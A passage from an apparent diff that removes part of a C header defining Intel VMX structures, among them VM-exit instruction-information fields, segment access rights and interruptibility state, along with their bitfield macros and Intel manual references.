VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_INSTRUCTION_MASK 0x03 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_INSTRUCTION(_) (((_) >> 28) & 0x03) - uint64_t reserved4 : 34; - }; - - uint64_t flags; -} vmx_vmexit_instruction_info_gdtr_idtr_access; - -/** - * @brief VM-Exit Instruction-Information Field as Used for LLDT, LTR, SLDT, and STR - */ -typedef union -{ - struct - { - /** - * @brief Scaling - * - * [Bits 1:0] 0: no scaling - * 1: scale by 2 - * 2: scale by 4 - * 3: scale by 8 (used only on processors that support Intel 64 architecture) - * Undefined for instructions with no index register (bit 22 is set). - */ - uint64_t scaling : 2; -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SCALING_BIT 0 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SCALING_FLAG 0x03 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SCALING_MASK 0x03 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SCALING(_) (((_) >> 0) & 0x03) - uint64_t reserved1 : 1; - - /** - * [Bits 6:3] Reg1. Undefined for memory instructions (bit 10 is clear). - */ - uint64_t reg_1 : 4; -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_REG_1_BIT 3 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_REG_1_FLAG 0x78 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_REG_1_MASK 0x0F -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_REG_1(_) (((_) >> 3) & 0x0F) - - /** - * @brief Address size - * - * [Bits 9:7] 0: 16-bit - * 1: 32-bit - * 2: 64-bit (used only on processors that support Intel 64 architecture) - * Other values not used. Undefined for register instructions (bit 10 is set). - */ - uint64_t address_size : 3; -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_ADDRESS_SIZE_BIT 7 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_ADDRESS_SIZE_FLAG 0x380 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_ADDRESS_SIZE_MASK 0x07 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_ADDRESS_SIZE(_) (((_) >> 7) & 0x07) - - /** - * [Bit 10] Mem/Reg (0 = memory; 1 = register). - */ - uint64_t memory_register : 1; -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_MEMORY_REGISTER_BIT 10 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_MEMORY_REGISTER_FLAG 0x400 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_MEMORY_REGISTER_MASK 0x01 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_MEMORY_REGISTER(_) (((_) >> 10) & 0x01) - uint64_t reserved2 : 4; - - /** - * @brief Segment register - * - * [Bits 17:15] 0: ES - * 1: CS - * 2: SS - * 3: DS - * 4: FS - * 5: GS - * Other values not used. Undefined for register instructions (bit 10 is set). - */ - uint64_t segment_register : 3; -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SEGMENT_REGISTER_BIT 15 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SEGMENT_REGISTER_FLAG 0x38000 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SEGMENT_REGISTER_MASK 0x07 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SEGMENT_REGISTER(_) (((_) >> 15) & 0x07) - - /** - * [Bits 21:18] General-purpose register. Undefined for register instructions (bit 10 is set) and for memory instructions - * with no index register (bit 10 is clear and bit 22 is set). - */ - uint64_t general_purpose_register : 4; -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER_BIT 18 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER_FLAG 0x3C0000 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER_MASK 0x0F -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER(_) (((_) >> 18) & 0x0F) - - /** - * [Bit 22] IndexReg invalid (0 = valid; 1 = invalid). Undefined for register instructions (bit 10 is set). - */ - uint64_t general_purpose_register_invalid : 1; -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID_BIT 22 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID_FLAG 0x400000 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID_MASK 0x01 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID(_) (((_) >> 22) & 0x01) - - /** - * [Bits 26:23] BaseReg (encoded as IndexReg above). Undefined for register instructions (bit 10 is set) and for memory - * instructions with no base register (bit 10 is clear and bit 27 is set). - */ - uint64_t base_register : 4; -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER_BIT 23 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER_FLAG 0x7800000 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER_MASK 0x0F -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER(_) (((_) >> 23) & 0x0F) - - /** - * [Bit 27] BaseReg invalid (0 = valid; 1 = invalid). Undefined for register instructions (bit 10 is set). - */ - uint64_t base_register_invalid : 1; -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER_INVALID_BIT 27 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER_INVALID_FLAG 0x8000000 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER_INVALID_MASK 0x01 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER_INVALID(_) (((_) >> 27) & 0x01) - - /** - * @brief Instruction identity - * - * [Bits 29:28] 0: SLDT - * 1: STR - * 2: LLDT - * 3: LTR - */ - uint64_t instruction : 2; -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_INSTRUCTION_BIT 28 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_INSTRUCTION_FLAG 0x30000000 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_INSTRUCTION_MASK 0x03 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_INSTRUCTION(_) (((_) >> 28) & 0x03) - uint64_t reserved3 : 34; - }; - - uint64_t flags; -} vmx_vmexit_instruction_info_ldtr_tr_access; - -/** - * @brief VM-Exit Instruction-Information Field as Used for RDRAND and RDSEED - */ -typedef union -{ - struct - { - uint64_t reserved1 : 3; - - /** - * [Bits 6:3] Destination register. - */ - uint64_t destination_register : 4; -#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_DESTINATION_REGISTER_BIT 3 -#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_DESTINATION_REGISTER_FLAG 0x78 -#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_DESTINATION_REGISTER_MASK 0x0F -#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_DESTINATION_REGISTER(_) (((_) >> 3) & 0x0F) - uint64_t reserved2 : 4; - - /** - * @brief Operand size - * - * [Bits 12:11] 0: 16-bit - * 1: 32-bit - * 2: 64-bit - * The value 3 is not used. - */ - uint64_t operand_size : 2; -#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_OPERAND_SIZE_BIT 11 -#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_OPERAND_SIZE_FLAG 0x1800 -#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_OPERAND_SIZE_MASK 0x03 -#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_OPERAND_SIZE(_) (((_) >> 11) & 0x03) - uint64_t reserved3 : 51; - }; - - uint64_t flags; -} vmx_vmexit_instruction_info_rdrand_rdseed; - -/** - * @brief VM-Exit Instruction-Information Field as Used for VMCLEAR, VMPTRLD, VMPTRST, VMXON, XRSTORS, and XSAVES - */ -typedef union -{ - struct - { - /** - * @brief Scaling - * - * [Bits 1:0] 0: no scaling - * 1: scale by 2 - * 2: scale by 4 - * 3: scale by 8 (used only on processors that support Intel 64 architecture) - * Undefined for instructions with no index register (bit 22 is set). - */ - uint64_t scaling : 2; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SCALING_BIT 0 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SCALING_FLAG 0x03 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SCALING_MASK 0x03 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SCALING(_) (((_) >> 0) & 0x03) - uint64_t reserved1 : 5; - - /** - * @brief Address size - * - * [Bits 9:7] 0: 16-bit - * 1: 32-bit - * 2: 64-bit (used only on processors that support Intel 64 architecture) - * Other values not used. - */ - uint64_t address_size : 3; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_ADDRESS_SIZE_BIT 7 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_ADDRESS_SIZE_FLAG 0x380 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_ADDRESS_SIZE_MASK 0x07 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_ADDRESS_SIZE(_) (((_) >> 7) & 0x07) - uint64_t reserved2 : 5; - - /** - * @brief Segment register - * - * [Bits 17:15] 0: ES - * 1: CS - * 2: SS - * 3: DS - * 4: FS - * 5: GS - * Other values not used. - */ - uint64_t segment_register : 3; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SEGMENT_REGISTER_BIT 15 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SEGMENT_REGISTER_FLAG 0x38000 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SEGMENT_REGISTER_MASK 0x07 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SEGMENT_REGISTER(_) (((_) >> 15) & 0x07) - - /** - * [Bits 21:18] General-purpose register. Undefined for instructions with no index register (bit 22 is set). - */ - uint64_t general_purpose_register : 4; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER_BIT 18 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER_FLAG 0x3C0000 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER_MASK 0x0F -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER(_) (((_) >> 18) & 0x0F) - - /** - * [Bit 22] IndexReg invalid (0 = valid; 1 = invalid). - */ - uint64_t general_purpose_register_invalid : 1; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER_INVALID_BIT 22 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER_INVALID_FLAG 0x400000 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER_INVALID_MASK 0x01 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER_INVALID(_) (((_) >> 22) & 0x01) - - /** - * [Bits 26:23] BaseReg (encoded as IndexReg above). Undefined for memory instructions with no base register (bit 27 is - * set). - */ - uint64_t base_register : 4; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER_BIT 23 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER_FLAG 0x7800000 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER_MASK 0x0F -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER(_) (((_) >> 23) & 0x0F) - - /** - * [Bit 27] BaseReg invalid (0 = valid; 1 = invalid). - */ - uint64_t base_register_invalid : 1; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER_INVALID_BIT 27 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER_INVALID_FLAG 0x8000000 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER_INVALID_MASK 0x01 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER_INVALID(_) (((_) >> 27) & 0x01) - uint64_t reserved3 : 36; - }; - - uint64_t flags; -} vmx_vmexit_instruction_info_vmx_and_xsaves; - -/** - * @brief VM-Exit Instruction-Information Field as Used for VMREAD and VMWRITE - */ -typedef union -{ - struct - { - /** - * @brief Scaling - * - * [Bits 1:0] 0: no scaling - * 1: scale by 2 - * 2: scale by 4 - * 3: scale by 8 (used only on processors that support Intel 64 architecture) - * Undefined for register instructions (bit 10 is set) and for memory instructions with no index register (bit 10 is clear - * and bit 22 is set). - */ - uint64_t scaling : 2; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SCALING_BIT 0 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SCALING_FLAG 0x03 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SCALING_MASK 0x03 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SCALING(_) (((_) >> 0) & 0x03) - uint64_t reserved1 : 1; - - /** - * [Bits 6:3] Reg1. Undefined for memory instructions (bit 10 is clear). - */ - uint64_t register_1 : 4; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_1_BIT 3 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_1_FLAG 0x78 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_1_MASK 0x0F -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_1(_) (((_) >> 3) & 0x0F) - - /** - * @brief Address size - * - * [Bits 9:7] 0: 16-bit - * 1: 32-bit - * 2: 64-bit (used only on processors that support Intel 64 architecture) - * Other values not used. Undefined for register instructions (bit 10 is set). - */ - uint64_t address_size : 3; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_ADDRESS_SIZE_BIT 7 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_ADDRESS_SIZE_FLAG 0x380 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_ADDRESS_SIZE_MASK 0x07 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_ADDRESS_SIZE(_) (((_) >> 7) & 0x07) - - /** - * [Bit 10] Mem/Reg (0 = memory; 1 = register). - */ - uint64_t memory_register : 1; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_MEMORY_REGISTER_BIT 10 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_MEMORY_REGISTER_FLAG 0x400 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_MEMORY_REGISTER_MASK 0x01 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_MEMORY_REGISTER(_) (((_) >> 10) & 0x01) - uint64_t reserved2 : 4; - - /** - * @brief Segment register - * - * [Bits 17:15] 0: ES - * 1: CS - * 2: SS - * 3: DS - * 4: FS - * 5: GS - * Other values not used. Undefined for register instructions (bit 10 is set). - */ - uint64_t segment_register : 3; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SEGMENT_REGISTER_BIT 15 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SEGMENT_REGISTER_FLAG 0x38000 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SEGMENT_REGISTER_MASK 0x07 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SEGMENT_REGISTER(_) (((_) >> 15) & 0x07) - - /** - * [Bits 21:18] General-purpose register. Undefined for register instructions (bit 10 is set) and for memory instructions - * with no index register (bit 10 is clear and bit 22 is set). - */ - uint64_t general_purpose_register : 4; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER_BIT 18 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER_FLAG 0x3C0000 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER_MASK 0x0F -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER(_) (((_) >> 18) & 0x0F) - - /** - * [Bit 22] IndexReg invalid (0 = valid; 1 = invalid). Undefined for register instructions (bit 10 is set). - */ - uint64_t general_purpose_register_invalid : 1; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER_INVALID_BIT 22 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER_INVALID_FLAG 0x400000 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER_INVALID_MASK 0x01 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER_INVALID(_) (((_) >> 22) & 0x01) - - /** - * [Bits 26:23] BaseReg (encoded as Reg1 above). Undefined for register instructions (bit 10 is set) and for memory - * instructions with no base register (bit 10 is clear and bit 27 is set). - */ - uint64_t base_register : 4; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER_BIT 23 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER_FLAG 0x7800000 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER_MASK 0x0F -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER(_) (((_) >> 23) & 0x0F) - - /** - * [Bit 27] BaseReg invalid (0 = valid; 1 = invalid). - */ - uint64_t base_register_invalid : 1; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER_INVALID_BIT 27 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER_INVALID_FLAG 0x8000000 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER_INVALID_MASK 0x01 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER_INVALID(_) (((_) >> 27) & 0x01) - - /** - * [Bits 31:28] Reg2 (same encoding as IndexReg above). - */ - uint64_t register_2 : 4; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_2_BIT 28 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_2_FLAG 0xF0000000 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_2_MASK 0x0F -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_2(_) (((_) >> 28) & 0x0F) - uint64_t reserved3 : 32; - }; - - uint64_t flags; -} vmx_vmexit_instruction_info_vmread_vmwrite; - -/** - * @} - */ - - /** - * @brief - The low 16 bits correspond to bits 23:8 of the upper 32 bits of a 64-bit segment descriptor. While bits 19:16 - * of code-segment and data-segment descriptors correspond to the upper 4 bits of the segment limit, the corresponding bits - * (bits 11:8) are reserved in this VMCS field. - * - Bit 16 indicates an unusable segment. Attempts to use such a segment fault except in 64-bit mode. In general, a - * segment register is unusable if it has been loaded with a null selector. - * - Bits 31:17 are reserved - * - * @note There are a few exceptions to this statement. For example, a segment with a non-null selector may be unusable - * following a task switch that fails after its commit point. In contrast, the TR register is usable after processor reset - * despite having a null selector - * @see SEGMENT_DESCRIPTOR_32 - * @see SEGMENT_DESCRIPTOR_64 - * @see XXX_ACCESS_RIGHTS fields of 32_BIT_GUEST_STATE_FIELDS - * @see Vol3C[24.4.2(Guest Non-Register State)] (reference) - */ -typedef union -{ - struct - { - /** - * [Bits 3:0] Segment type. - */ - uint32_t type : 4; -#define VMX_SEGMENT_ACCESS_RIGHTS_TYPE_BIT 0 -#define VMX_SEGMENT_ACCESS_RIGHTS_TYPE_FLAG 0x0F -#define VMX_SEGMENT_ACCESS_RIGHTS_TYPE_MASK 0x0F -#define VMX_SEGMENT_ACCESS_RIGHTS_TYPE(_) (((_) >> 0) & 0x0F) - - /** - * [Bit 4] S - Descriptor type (0 = system; 1 = code or data). - */ - uint32_t descriptor_type : 1; -#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE_BIT 4 -#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE_FLAG 0x10 -#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE_MASK 0x01 -#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE(_) (((_) >> 4) & 0x01) - - /** - * [Bits 6:5] DPL - Descriptor privilege level. - */ - uint32_t descriptor_privilege_level : 2; -#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL_BIT 5 -#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL_FLAG 0x60 -#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL_MASK 0x03 -#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL(_) (((_) >> 5) & 0x03) - - /** - * [Bit 7] P - Segment present. - */ - uint32_t present : 1; -#define VMX_SEGMENT_ACCESS_RIGHTS_PRESENT_BIT 7 -#define VMX_SEGMENT_ACCESS_RIGHTS_PRESENT_FLAG 0x80 -#define VMX_SEGMENT_ACCESS_RIGHTS_PRESENT_MASK 0x01 -#define VMX_SEGMENT_ACCESS_RIGHTS_PRESENT(_) (((_) >> 7) & 0x01) - uint32_t reserved1 : 4; - - /** - * [Bit 12] AVL - Available for use by system software. - */ - uint32_t available_bit : 1; -#define VMX_SEGMENT_ACCESS_RIGHTS_AVAILABLE_BIT_BIT 12 -#define VMX_SEGMENT_ACCESS_RIGHTS_AVAILABLE_BIT_FLAG 0x1000 -#define VMX_SEGMENT_ACCESS_RIGHTS_AVAILABLE_BIT_MASK 0x01 -#define VMX_SEGMENT_ACCESS_RIGHTS_AVAILABLE_BIT(_) (((_) >> 12) & 0x01) - - /** - * [Bit 13] Reserved (except for CS). L - 64-bit mode active (for CS only). - */ - uint32_t long_mode : 1; -#define VMX_SEGMENT_ACCESS_RIGHTS_LONG_MODE_BIT 13 -#define VMX_SEGMENT_ACCESS_RIGHTS_LONG_MODE_FLAG 0x2000 -#define VMX_SEGMENT_ACCESS_RIGHTS_LONG_MODE_MASK 0x01 -#define VMX_SEGMENT_ACCESS_RIGHTS_LONG_MODE(_) (((_) >> 13) & 0x01) - - /** - * [Bit 14] D/B - Default operation size (0 = 16-bit segment; 1 = 32-bit segment). - */ - uint32_t default_big : 1; -#define VMX_SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG_BIT 14 -#define VMX_SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG_FLAG 0x4000 -#define VMX_SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG_MASK 0x01 -#define VMX_SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG(_) (((_) >> 14) & 0x01) - - /** - * [Bit 15] G - Granularity. - */ - uint32_t granularity : 1; -#define VMX_SEGMENT_ACCESS_RIGHTS_GRANULARITY_BIT 15 -#define VMX_SEGMENT_ACCESS_RIGHTS_GRANULARITY_FLAG 0x8000 -#define VMX_SEGMENT_ACCESS_RIGHTS_GRANULARITY_MASK 0x01 -#define VMX_SEGMENT_ACCESS_RIGHTS_GRANULARITY(_) (((_) >> 15) & 0x01) - - /** - * [Bit 16] Segment unusable (0 = usable; 1 = unusable). - */ - uint32_t unusable : 1; -#define VMX_SEGMENT_ACCESS_RIGHTS_UNUSABLE_BIT 16 -#define VMX_SEGMENT_ACCESS_RIGHTS_UNUSABLE_FLAG 0x10000 -#define VMX_SEGMENT_ACCESS_RIGHTS_UNUSABLE_MASK 0x01 -#define VMX_SEGMENT_ACCESS_RIGHTS_UNUSABLE(_) (((_) >> 16) & 0x01) - uint32_t reserved2 : 15; - }; - - uint32_t flags; -} vmx_segment_access_rights; - -/** - * @brief The IA-32 architecture includes features that permit certain events to be blocked for a period of time. This - * field contains information about such blocking - * - * @see INTERRUPTIBILITY_STATE of 32_BIT_GUEST_STATE_FIELDS - * @see Vol3C[24.4.2(Guest Non-Register State)] (reference) - */ -typedef union -{ - struct - { - /** - * [Bit 0] Execution of STI with RFLAGS.IF = 0 blocks maskable interrupts on the instruction boundary following its - * execution.1 Setting this bit indicates that this blocking is in effect. - * - * @see Vol2B[4(STI-Set Interrupt Flag)] - */ - uint32_t blocking_by_sti : 1; -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_STI_BIT 0 -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_STI_FLAG 0x01 -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_STI_MASK 0x01 -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_STI(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Execution of a MOV to SS or a POP to SS blocks or suppresses certain debug exceptions as well as interrupts - * (maskable and nonmaskable) on the instruction boundary following its execution. Setting this bit indicates that this - * blocking is in effect. This document uses the term "blocking by MOV SS," but it applies equally to POP SS. - * - * @see Vol3A[6.8.3(Masking Exceptions and Interrupts When Switching Stacks)] - */ - uint32_t blocking_by_mov_ss : 1; -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_MOV_SS_BIT 1 -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_MOV_SS_FLAG 0x02 -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_MOV_SS_MASK 0x01 -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_MOV_SS(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] System-management interrupts (SMIs) are disabled while the processor is in system-management mode (SMM). Setting - * this bit indicates that blocking of SMIs is in effect. - * - * @see Vol3C[34.2(System Management Interrupt (SMI))] - */ - uint32_t blocking_by_smi : 1; -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_SMI_BIT 2 -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_SMI_FLAG 0x04 -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_SMI_MASK 0x01 -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_SMI(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Delivery of a non-maskable interrupt (NMI) or a system-management interrupt (SMI) blocks subsequent NMIs until - * the next execution of IRET. Setting this bit indicates that blocking of NMIs is in effect. Clearing this bit does not - * imply that NMIs are not (temporarily) blocked for other reasons. If the "virtual NMIs" VM-execution control is 1, this - * bit does not control the blocking of NMIs. Instead, it refers to "virtual-NMI blocking" (the fact that guest software is - * not ready for an NMI). - * - * @see Vol3C[6.7.1(Handling Multiple NMIs)] - * @see Vol3C[25.3(CHANGES TO INSTRUCTION BEHAVIOR IN VMX NON-ROOT OPERATION)] - * @see Vol3C[24.6.1(Pin-Based VM-Execution Controls)] - */ - uint32_t blocking_by_nmi : 1; -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_NMI_BIT 3 -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_NMI_FLAG 0x08 -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_NMI_MASK 0x01 -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_NMI(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] A VM exit saves this bit as 1 to indicate that the VM exit was incident to enclave mode. - */ - uint32_t enclave_interruption : 1; -#define 